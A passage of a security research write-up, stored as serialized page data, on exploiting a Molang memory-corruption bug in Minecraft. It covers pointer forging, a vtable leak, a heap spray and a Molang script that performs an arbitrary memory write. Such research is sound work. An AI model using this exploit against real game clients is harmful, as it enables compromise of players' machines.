\n+-------------+ \n| . . . | \n",[153728],{"type":26,"tag":53,"props":153729,"children":153730},{"__ignoreMap":7},[153731],{"type":32,"value":153726},{"type":26,"tag":35,"props":153733,"children":153734},{},[153735],{"type":32,"value":153736},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":26,"tag":465,"props":153738,"children":153740},{"code":153739},"variable.b = variable.saved_upper_48;\n",[153741],{"type":26,"tag":53,"props":153742,"children":153743},{"__ignoreMap":7},[153744],{"type":32,"value":153739},{"type":26,"tag":35,"props":153746,"children":153747},{},[153748],{"type":32,"value":153749},"Yielding a valid pointer again:",{"type":26,"tag":465,"props":153751,"children":153753},{"code":153752}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153754],{"type":26,"tag":53,"props":153755,"children":153756},{"__ignoreMap":7},[153757],{"type":32,"value":153752},{"type":26,"tag":35,"props":153759,"children":153760},{},[153761],{"type":32,"value":153762},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":26,"tag":465,"props":153764,"children":153766},{"code":153765},"variable.saved_adjusted_lower_16 = variable.a;\n",[153767],{"type":26,"tag":53,"props":153768,"children":153769},{"__ignoreMap":7},[153770],{"type":32,"value":153765},{"type":26,"tag":35,"props":153772,"children":153773},{},[153774],{"type":32,"value":153775},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":26,"tag":465,"props":153777,"children":153779},{"code":153778},"variable.a = variable.saved_upper_48;\n",[153780],{"type":26,"tag":53,"props":153781,"children":153782},{"__ignoreMap":7},[153783],{"type":32,"value":153778},{"type":26,"tag":35,"props":153785,"children":153786},{},[153787],{"type":32,"value":153788},"This produces the following state:",{"type":26,"tag":465,"props":153790,"children":153792},{"code":153791}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153793],{"type":26,"tag":53,"props":153794,"children":153795},{"__ignoreMap":7},[153796],{"type":32,"value":153791},{"type":26,"tag":35,"props":153798,"children":153799},{},[153800,153802,153807,153809,153815,153817,153823,153825,153830,153832,153837],{"type":32,"value":153801},"As shown, ",{"type":26,"tag":53,"props":153803,"children":153805},{"className":153804},[],[153806],{"type":32,"value":152800},{"type":32,"value":153808}," now contains the upper 16 bits of the address (",{"type":26,"tag":53,"props":153810,"children":153812},{"className":153811},[],[153813],{"type":32,"value":153814},"0x1c80",{"type":32,"value":153816},"), which we can store as ",{"type":26,"tag":53,"props":153818,"children":153820},{"className":153819},[],[153821],{"type":32,"value":153822},"variable.saved_upper_16 = variable.b",{"type":32,"value":153824},". Meanwhile, ",{"type":26,"tag":53,"props":153826,"children":153828},{"className":153827},[],[153829],{"type":32,"value":152786},{"type":32,"value":153831}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":26,"tag":53,"props":153833,"children":153835},{"className":153834},[],[153836],{"type":32,"value":152800},{"type":32,"value":179},{"type":26,"tag":465,"props":153839,"children":153840},{"code":153656},[153841],{"type":26,"tag":53,"props":153842,"children":153843},{"__ignoreMap":7},[153844],{"type":32,"value":153656},{"type":26,"tag":35,"props":153846,"children":153847},{},[153848],{"type":32,"value":153849},"Leaving us with:",{"type":26,"tag":465,"props":153851,"children":153853},{"code":153852}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153854],{"type":26,"tag":53,"props":153855,"children":153856},{"__ignoreMap":7},[153857],{"type":32,"value":153852},{"type":26,"tag":35,"props":153859,"children":153860},{},[153861],{"type":32,"value":153862},"We can now save the middle 16 bits:",{"type":26,"tag":465,"props":153864,"children":153866},{"code":153865},"variable.saved_middle_16 = variable.a;\n",[153867],{"type":26,"tag":53,"props":153868,"children":153869},{"__ignoreMap":7},[153870],{"type":32,"value":153865},{"type":26,"tag":35,"props":153872,"children":153873},{},[153874],{"type":32,"value":153875},"At this point, we have:",{"type":26,"tag":465,"props":153877,"children":153879},{"code":153878},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[153880],{"type":26,"tag":53,"props":153881,"children":153882},{"__ignoreMap":7},[153883],{"type":32,"value":153878},{"type":26,"tag":35,"props":153885,"children":153886},{},[153887],{"type":32,"value":153888},"All three parts are valid float values, ensuring deterministic calculations.",{"type":26,"tag":35,"props":153890,"children":153891},{},[153892],{"type":32,"value":153893},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":26,"tag":465,"props":153895,"children":153897},{"code":153896},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[153898],{"type":26,"tag":53,"props":153899,"children":153900},{"__ignoreMap":7},[153901],{"type":32,"value":153896},{"type":26,"tag":35,"props":153903,"children":153904},{},[153905],{"type":32,"value":153906},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":26,"tag":465,"props":153908,"children":153910},{"code":153909},"variable.a = variable.saved_adjusted_middle_16;\n",[153911],{"type":26,"tag":53,"props":153912,"children":153913},{"__ignoreMap":7},[153914],{"type":32,"value":153909},{"type":26,"tag":35,"props":153916,"children":153917},{},[153918,153920,153925,153926,153932,153933,153939],{"type":32,"value":153919},"Setting ",{"type":26,"tag":53,"props":153921,"children":153923},{"className":153922},[],[153924],{"type":32,"value":152786},{"type":32,"value":56468},{"type":26,"tag":53,"props":153927,"children":153929},{"className":153928},[],[153930],{"type":32,"value":153931},"0xddcd",{"type":32,"value":2775},{"type":26,"tag":53,"props":153934,"children":153936},{"className":153935},[],[153937],{"type":32,"value":153938},"0xddcc + 1",{"type":32,"value":153940},"), and then:",{"type":26,"tag":465,"props":153942,"children":153944},{"code":153943},"variable.b = variable.saved_adjusted_upper_16;\n",[153945],{"type":26,"tag":53,"props":153946,"children":153947},{"__ignoreMap":7},[153948],{"type":32,"value":153943},{"type":26,"tag":35,"props":153950,"children":153951},{},[153952,153954,153959,153961,153967,153968,153974],{"type":32,"value":153953},"Resulting in ",{"type":26,"tag":53,"props":153955,"children":153957},{"className":153956},[],[153958],{"type":32,"value":152800},{"type":32,"value":153960}," value becoming ",{"type":26,"tag":53,"props":153962,"children":153964},{"className":153963},[],[153965],{"type":32,"value":153966},"0x1c81",{"type":32,"value":2775},{"type":26,"tag":53,"props":153969,"children":153971},{"className":153970},[],[153972],{"type":32,"value":153973},"0x1c80 + 1",{"type":32,"value":23646},{"type":26,"tag":465,"props":153976,"children":153978},{"code":153977}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[153979],{"type":26,"tag":53,"props":153980,"children":153981},{"__ignoreMap":7},[153982],{"type":32,"value":153977},{"type":26,"tag":35,"props":153984,"children":153985},{},[153986],{"type":32,"value":153987},"Now we save the adjusted upper 48 bits:",{"type":26,"tag":465,"props":153989,"children":153991},{"code":153990},"variable.saved_adjusted_upper_48 = variable.a;\n",[153992],{"type":26,"tag":53,"props":153993,"children":153994},{"__ignoreMap":7},[153995],{"type":32,"value":153990},{"type":26,"tag":35,"props":153997,"children":153998},{},[153999],{"type":32,"value":154000},"Finally, we attach the lower 16 bits:",{"type":26,"tag":465,"props":154002,"children":154004},{"code":154003},"variable.a = variable.saved_adjusted_lower_16;\n",[154005],{"type":26,"tag":53,"props":154006,"children":154007},{"__ignoreMap":7},[154008],{"type":32,"value":154003},{"type":26,"tag":465,"props":154010,"children":154012},{"code":154011}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154013],{"type":26,"tag":53,"props":154014,"children":154015},{"__ignoreMap":7},[154016],{"type":32,"value":154011},{"type":26,"tag":35,"props":154018,"children":154019},{},[154020],{"type":32,"value":154021},"And by setting:",{"type":26,"tag":465,"props":154023,"children":154025},{"code":154024},"variable.b = variable.saved_adjusted_upper_48;\n",[154026],{"type":26,"tag":53,"props":154027,"children":154028},{"__ignoreMap":7},[154029],{"type":32,"value":154024},{"type":26,"tag":35,"props":154031,"children":154032},{},[154033],{"type":32,"value":154034},"We forge the final adjusted pointer:",{"type":26,"tag":465,"props":154036,"children":154038},{"code":154037}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154039],{"type":26,"tag":53,"props":154040,"children":154041},{"__ignoreMap":7},[154042],{"type":32,"value":154037},{"type":26,"tag":18502,"props":154044,"children":154045},{},[],{"type":26,"tag":35,"props":154047,"children":154048},{},[154049,154051,154056],{"type":32,"value":154050},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":26,"tag":53,"props":154052,"children":154054},{"className":154053},[],[154055],{"type":32,"value":153582},{"type":32,"value":153538},{"type":26,"tag":35,"props":154058,"children":154059},{},[154060,154062,154067,154069,154074,154076,154082,154084,154089],{"type":32,"value":154061},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":26,"tag":53,"props":154063,"children":154065},{"className":154064},[],[154066],{"type":32,"value":153582},{"type":32,"value":154068},". Instead, we need any two pointers on the heap - one pointing to ",{"type":26,"tag":53,"props":154070,"children":154072},{"className":154071},[],[154073],{"type":32,"value":30390},{"type":32,"value":154075}," and the other to ",{"type":26,"tag":53,"props":154077,"children":154079},{"className":154078},[],[154080],{"type":32,"value":154081},"addr + 2",{"type":32,"value":154083}," (as long as ",{"type":26,"tag":53,"props":154085,"children":154087},{"className":154086},[],[154088],{"type":32,"value":30390},{"type":32,"value":154090}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":26,"tag":35,"props":154092,"children":154093},{},[154094,154096,154101,154102,154107],{"type":32,"value":154095},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":26,"tag":53,"props":154097,"children":154099},{"className":154098},[],[154100],{"type":32,"value":149556},{"type":32,"value":153341},{"type":26,"tag":53,"props":154103,"children":154105},{"className":154104},[],[154106],{"type":32,"value":152360},{"type":32,"value":154108}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":26,"tag":465,"props":154110,"children":154112},{"code":154111},"variable.corrupted_var_map_ptr = variable.a;\n",[154113],{"type":26,"tag":53,"props":154114,"children":154115},{"__ignoreMap":7},[154116],{"type":32,"value":154111},{"type":26,"tag":35,"props":154118,"children":154119},{},[154120,154122,154127,154129,154135],{"type":32,"value":154121},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":26,"tag":53,"props":154123,"children":154125},{"className":154124},[],[154126],{"type":32,"value":38844},{"type":32,"value":154128}," field (in this case, the reconstructed pointer) and writes it to ",{"type":26,"tag":53,"props":154130,"children":154132},{"className":154131},[],[154133],{"type":32,"value":154134},"variable.corrupted_var_map_ptr",{"type":32,"value":154136},", even though the type itself is only a 32-bit float.",{"type":26,"tag":70,"props":154138,"children":154140},{"id":154139},"finding-misaligned-pointers",[154141],{"type":32,"value":154142},"Finding Misaligned Pointers",{"type":26,"tag":35,"props":154144,"children":154145},{},[154146,154148,154153,154154,154160],{"type":32,"value":154147},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":26,"tag":53,"props":154149,"children":154151},{"className":154150},[],[154152],{"type":32,"value":13656},{"type":32,"value":209},{"type":26,"tag":53,"props":154155,"children":154157},{"className":154156},[],[154158],{"type":32,"value":154159},"ptr + 2",{"type":32,"value":154161},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":26,"tag":35,"props":154163,"children":154164},{},[154165,154170,154171,154176,154178,154183,154185,154190,154192,154197,154199,154204,154206,154212,154213,154218],{"type":26,"tag":53,"props":154166,"children":154168},{"className":154167},[],[154169],{"type":32,"value":152536},{"type":32,"value":15149},{"type":26,"tag":53,"props":154172,"children":154174},{"className":154173},[],[154175],{"type":32,"value":152559},{"type":32,"value":154177}," found inside every entity object. As noted earlier, a ",{"type":26,"tag":53,"props":154179,"children":154181},{"className":154180},[],[154182],{"type":32,"value":152390},{"type":32,"value":154184}," contains three pointers: ",{"type":26,"tag":53,"props":154186,"children":154188},{"className":154187},[],[154189],{"type":32,"value":149556},{"type":32,"value":154191}," (the start of the allocated buffer), ",{"type":26,"tag":53,"props":154193,"children":154195},{"className":154194},[],[154196],{"type":32,"value":8849},{"type":32,"value":154198}," (just past the last element) and ",{"type":26,"tag":53,"props":154200,"children":154202},{"className":154201},[],[154203],{"type":32,"value":152489},{"type":32,"value":154205}," (the end of the allocated buffer). Because the element type is ",{"type":26,"tag":53,"props":154207,"children":154209},{"className":154208},[],[154210],{"type":32,"value":154211},"uint16_t",{"type":32,"value":101729},{"type":26,"tag":53,"props":154214,"children":154216},{"className":154215},[],[154217],{"type":32,"value":8849},{"type":32,"value":154219}," pointer advances by 2 bytes each time a new element is added.",{"type":26,"tag":35,"props":154221,"children":154222},{},[154223,154225,154230,154232,154238],{"type":32,"value":154224},"We can make the ",{"type":26,"tag":53,"props":154226,"children":154228},{"className":154227},[],[154229],{"type":32,"value":8849},{"type":32,"value":154231}," pointer equal to ",{"type":26,"tag":53,"props":154233,"children":154235},{"className":154234},[],[154236],{"type":32,"value":154237},"cap - 2",{"type":32,"value":154239}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":26,"tag":465,"props":154241,"children":154243},{"code":154242}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[154244],{"type":26,"tag":53,"props":154245,"children":154246},{"__ignoreMap":7},[154247],{"type":32,"value":154242},{"type":26,"tag":18502,"props":154249,"children":154250},{},[],{"type":26,"tag":35,"props":154252,"children":154253},{},[154254,154256,154261,154263,154268,154270,154275,154277,154282,154283,154288],{"type":32,"value":154255},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":26,"tag":53,"props":154257,"children":154259},{"className":154258},[],[154260],{"type":32,"value":149556},{"type":32,"value":154262}," pointer of ",{"type":26,"tag":53,"props":154264,"children":154266},{"className":154265},[],[154267],{"type":32,"value":152360},{"type":32,"value":154269}," in the entity object above, one that would index ",{"type":26,"tag":53,"props":154271,"children":154273},{"className":154272},[],[154274],{"type":32,"value":8849},{"type":32,"value":154276}," and the final ",{"type":26,"tag":53,"props":154278,"children":154280},{"className":154279},[],[154281],{"type":32,"value":152489},{"type":32,"value":154262},{"type":26,"tag":53,"props":154284,"children":154286},{"className":154285},[],[154287],{"type":32,"value":152536},{"type":32,"value":154289}," also in the same entity object above.",{"type":26,"tag":35,"props":154291,"children":154292},{},[154293,154295,154301,154302,154308,154310,154315,154316,154321,154323,154328,154330,154335,154336,154341,154343,154348],{"type":32,"value":154294},"The corrupted variables ",{"type":26,"tag":53,"props":154296,"children":154298},{"className":154297},[],[154299],{"type":32,"value":154300},"variable.corrupted_len_ptr",{"type":32,"value":209},{"type":26,"tag":53,"props":154303,"children":154305},{"className":154304},[],[154306],{"type":32,"value":154307},"variable.corrupted_cap_ptr",{"type":32,"value":154309}," point to ",{"type":26,"tag":53,"props":154311,"children":154313},{"className":154312},[],[154314],{"type":32,"value":8849},{"type":32,"value":209},{"type":26,"tag":53,"props":154317,"children":154319},{"className":154318},[],[154320],{"type":32,"value":152489},{"type":32,"value":154322},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":26,"tag":53,"props":154324,"children":154326},{"className":154325},[],[154327],{"type":32,"value":154134},{"type":32,"value":154329},", points to the ",{"type":26,"tag":53,"props":154331,"children":154333},{"className":154332},[],[154334],{"type":32,"value":149556},{"type":32,"value":153341},{"type":26,"tag":53,"props":154337,"children":154339},{"className":154338},[],[154340],{"type":32,"value":152360},{"type":32,"value":154342},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":26,"tag":53,"props":154344,"children":154346},{"className":154345},[],[154347],{"type":32,"value":152360},{"type":32,"value":154349},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":26,"tag":35,"props":154351,"children":154352},{},[154353],{"type":32,"value":154354},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":26,"tag":70,"props":154356,"children":154358},{"id":154357},"leaking-pointers",[154359],{"type":32,"value":154360},"Leaking Pointers",{"type":26,"tag":35,"props":154362,"children":154363},{},[154364,154366,154372],{"type":32,"value":154365},"In C++, an object’s first field is typically a ",{"type":26,"tag":53,"props":154367,"children":154369},{"className":154368},[],[154370],{"type":32,"value":154371},"vtable",{"type":32,"value":154373}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":26,"tag":465,"props":154375,"children":154377},{"code":154376}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[154378],{"type":26,"tag":53,"props":154379,"children":154380},{"__ignoreMap":7},[154381],{"type":32,"value":154376},{"type":26,"tag":35,"props":154383,"children":154384},{},[154385,154386,154391,154393,154398,154400,154405,154407,154412,154414,154419,154420,154425,154427,154432],{"type":32,"value":16319},{"type":26,"tag":53,"props":154387,"children":154389},{"className":154388},[],[154390],{"type":32,"value":38844},{"type":32,"value":154392}," field inside a ",{"type":26,"tag":53,"props":154394,"children":154396},{"className":154395},[],[154397],{"type":32,"value":152033},{"type":32,"value":154399}," is at offset ",{"type":26,"tag":53,"props":154401,"children":154403},{"className":154402},[],[154404],{"type":32,"value":152294},{"type":32,"value":154406},". We already control a corrupted variable, ",{"type":26,"tag":53,"props":154408,"children":154410},{"className":154409},[],[154411],{"type":32,"value":154300},{"type":32,"value":154413},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":26,"tag":53,"props":154415,"children":154417},{"className":154416},[],[154418],{"type":32,"value":8849},{"type":32,"value":153341},{"type":26,"tag":53,"props":154421,"children":154423},{"className":154422},[],[154424],{"type":32,"value":152536},{"type":32,"value":154426}," by 2 bytes, which in turn advances ",{"type":26,"tag":53,"props":154428,"children":154430},{"className":154429},[],[154431],{"type":32,"value":154300},{"type":32,"value":154433}," by 2 bytes.",{"type":26,"tag":35,"props":154435,"children":154436},{},[154437,154439,154444,154446,154452,154453,154458,154459,154464,154466,154471],{"type":32,"value":154438},"By moving ",{"type":26,"tag":53,"props":154440,"children":154442},{"className":154441},[],[154443],{"type":32,"value":8849},{"type":32,"value":154445}," so it equals ",{"type":26,"tag":53,"props":154447,"children":154449},{"className":154448},[],[154450],{"type":32,"value":154451},"cap - 0x38",{"type":32,"value":101729},{"type":26,"tag":53,"props":154454,"children":154456},{"className":154455},[],[154457],{"type":32,"value":38844},{"type":32,"value":153341},{"type":26,"tag":53,"props":154460,"children":154462},{"className":154461},[],[154463],{"type":32,"value":154300},{"type":32,"value":154465}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":26,"tag":53,"props":154467,"children":154469},{"className":154468},[],[154470],{"type":32,"value":154371},{"type":32,"value":154472}," pointer. We can then capture that pointer with:",{"type":26,"tag":465,"props":154474,"children":154476},{"code":154475},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[154477],{"type":26,"tag":53,"props":154478,"children":154479},{"__ignoreMap":7},[154480],{"type":32,"value":154475},{"type":26,"tag":35,"props":154482,"children":154483},{},[154484,154486,154491,154493,154498,154500,154505,154507,154513],{"type":32,"value":154485},"After saving the leak, we add 27 unseen variables to advance ",{"type":26,"tag":53,"props":154487,"children":154489},{"className":154488},[],[154490],{"type":32,"value":8849},{"type":32,"value":154492}," until it equals ",{"type":26,"tag":53,"props":154494,"children":154496},{"className":154495},[],[154497],{"type":32,"value":154237},{"type":32,"value":154499},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":26,"tag":53,"props":154501,"children":154503},{"className":154502},[],[154504],{"type":32,"value":154371},{"type":32,"value":154506}," address in ",{"type":26,"tag":53,"props":154508,"children":154510},{"className":154509},[],[154511],{"type":32,"value":154512},"variable.saved_vtable_pointer",{"type":32,"value":353},{"type":26,"tag":18502,"props":154515,"children":154516},{},[],{"type":26,"tag":35,"props":154518,"children":154519},{},[154520,154522,154527,154529,154535],{"type":32,"value":154521},"A Molang script that performs an arbitrary write of the value ",{"type":26,"tag":53,"props":154523,"children":154525},{"className":154524},[],[154526],{"type":32,"value":43192},{"type":32,"value":154528}," to the address ",{"type":26,"tag":53,"props":154530,"children":154532},{"className":154531},[],[154533],{"type":32,"value":154534},"vtable + 0x1000",{"type":32,"value":154536}," looks like this:",{"type":26,"tag":465,"props":154538,"children":154540},{"code":154539},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[154541],{"type":26,"tag":53,"props":154542,"children":154543},{"__ignoreMap":7},[154544],{"type":32,"value":154539},{"type":26,"tag":70,"props":154546,"children":154548},{"id":154547},"required-heap-layout",[154549],{"type":32,"value":154550},"Required Heap Layout",{"type":26,"tag":35,"props":154552,"children":154553},{},[154554],{"type":32,"value":154555},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":26,"tag":465,"props":154557,"children":154559},{"code":154558}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[154560],{"type":26,"tag":53,"props":154561,"children":154562},{"__ignoreMap":7},[154563],{"type":32,"value":154558},{"type":26,"tag":35,"props":154565,"children":154566},{},[154567,154569,154575,154577,154582,154584,154589,154591,154596,154597,154602],{"type":32,"value":154568},"The first region (",{"type":26,"tag":53,"props":154570,"children":154572},{"className":154571},[],[154573],{"type":32,"value":154574},"Heap Region 1",{"type":32,"value":154576},") contains alternating ",{"type":26,"tag":53,"props":154578,"children":154580},{"className":154579},[],[154581],{"type":32,"value":152360},{"type":32,"value":154583},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":26,"tag":53,"props":154585,"children":154587},{"className":154586},[],[154588],{"type":32,"value":152390},{"type":32,"value":154590}," pointers of ",{"type":26,"tag":53,"props":154592,"children":154594},{"className":154593},[],[154595],{"type":32,"value":152360},{"type":32,"value":209},{"type":26,"tag":53,"props":154598,"children":154600},{"className":154599},[],[154601],{"type":32,"value":152536},{"type":32,"value":154603}," from the entity object for our main attack.",{"type":26,"tag":35,"props":154605,"children":154606},{},[154607,154609,154615,154617,154622,154624,154629,154631,154636,154638,154643],{"type":32,"value":154608},"The second region (",{"type":26,"tag":53,"props":154610,"children":154612},{"className":154611},[],[154613],{"type":32,"value":154614},"Heap Region 2",{"type":32,"value":154616},") contains interleaved ",{"type":26,"tag":53,"props":154618,"children":154620},{"className":154619},[],[154621],{"type":32,"value":152536},{"type":32,"value":154623},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":26,"tag":53,"props":154625,"children":154627},{"className":154626},[],[154628],{"type":32,"value":154371},{"type":32,"value":154630}," pointer into ",{"type":26,"tag":53,"props":154632,"children":154634},{"className":154633},[],[154635],{"type":32,"value":154300},{"type":32,"value":154637}," during our main attack. It could be any object with a ",{"type":26,"tag":53,"props":154639,"children":154641},{"className":154640},[],[154642],{"type":32,"value":154371},{"type":32,"value":154644},", but for simplicity we use the entity object.",{"type":26,"tag":35,"props":154646,"children":154647},{},[154648,154650,154656,154658,154663],{"type":32,"value":154649},"During the attack, overwriting another variable's pointer with\n",{"type":26,"tag":53,"props":154651,"children":154653},{"className":154652},[],[154654],{"type":32,"value":154655},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":32,"value":154657}," will very likely clobber the ",{"type":26,"tag":53,"props":154659,"children":154661},{"className":154660},[],[154662],{"type":32,"value":152856},{"type":32,"value":154664}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":26,"tag":35,"props":154666,"children":154667},{},[154668],{"type":32,"value":154669},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":26,"tag":35,"props":154671,"children":154672},{},[154673],{"type":32,"value":154674},"The final exploit proceeds in three stages:",{"type":26,"tag":181,"props":154676,"children":154677},{},[154678,154683,154688],{"type":26,"tag":86,"props":154679,"children":154680},{},[154681],{"type":32,"value":154682},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":26,"tag":86,"props":154684,"children":154685},{},[154686],{"type":32,"value":154687},"Perform the heap spray with signs to create the desired layout for the attack",{"type":26,"tag":86,"props":154689,"children":154690},{},[154691],{"type":32,"value":154692},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":26,"tag":70,"props":154694,"children":154696},{"id":154695},"initial-corruption-variant-lfh-heap-approach",[154697],{"type":32,"value":154698},"Initial Corruption Variant: LFH Heap Approach",{"type":26,"tag":35,"props":154700,"children":154701},{},[154702],{"type":32,"value":154703},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":26,"tag":35,"props":154705,"children":154706},{},[154707,154709,154714,154715,154721],{"type":32,"value":154708},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":26,"tag":53,"props":154710,"children":154712},{"className":154711},[],[154713],{"type":32,"value":152603},{"type":32,"value":6201},{"type":26,"tag":53,"props":154716,"children":154718},{"className":154717},[],[154719],{"type":32,"value":154720},"last_index",{"type":32,"value":154722}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":26,"tag":35,"props":154724,"children":154725},{},[154726,154728,154733,154734,154739,154741,154746,154748,154753,154755,154760,154762,154768,154769,154775,154776,154782],{"type":32,"value":154727},"The main attack can be arranged by making the resulting index point at the 